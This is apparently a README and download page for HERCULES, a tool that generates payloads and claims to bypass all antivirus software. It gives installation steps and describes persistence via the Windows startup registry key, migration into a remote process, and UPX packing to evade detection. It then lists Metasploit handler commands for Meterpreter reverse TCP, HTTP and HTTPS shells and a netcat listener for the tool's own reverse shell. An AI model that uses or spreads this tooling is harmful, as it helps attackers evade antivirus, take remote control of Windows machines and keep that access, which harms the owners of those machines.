Special Customizable Payload Generator


HERCULES is a special customizable payload generator that can bypass all antivirus software.


Installation

Supported Platforms:

Operating System Version
Ubuntu 16.04 / 15.10
Kali linux Rolling / Sana
Manjaro *
Arch Linux *
Black Arch *
Parrot OS 3.1
sudo chmod 777 Setup
sudo ./Setup

Usage:

HERCULES

Special Functions:

  • Persistence : Persistence function adds the running binary to windows start-up registry (CurrentVersion/Run) for continious access.
  • Migration : This function triggers a loop that tries to migrate to a remote process until it is successfully migrated.

What is UPX ?

  • UPX (Ultimate Packer for Executables) is a free and open source executable packer supporting a number of file formats from different operating systems. UPX simply takes the binary file and compresses it, packed binary unpack(decompress) itself at runtime to memory.

What is “AV Evasion Score” ?

  • AV Evasion Score is a scale(1/10) for determining the effectiveness of the payloads anti virus bypassing capabilities, 1 represents low possibility to pass AV softwares.
  • Using special functions and packing the payloads with upx decreases the AV Evasion Score.

Payload Usage:


Meterpreter Reverse TCP

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lport "Local Port Here"
set lhost "Local Ip Here"
run

Meterpreter Reverse HTTP

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lport "Local Port Here"
set lhost "Local Ip Here"
run

Meterpreter Reverse HTTPS

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lport "Local Port Here"
set lhost "Local Ip Here"
run

HERCULES REVERSE SHELL

nc -l -p "Local Port Here"

Special Customizable Payload Generator: Hercules Download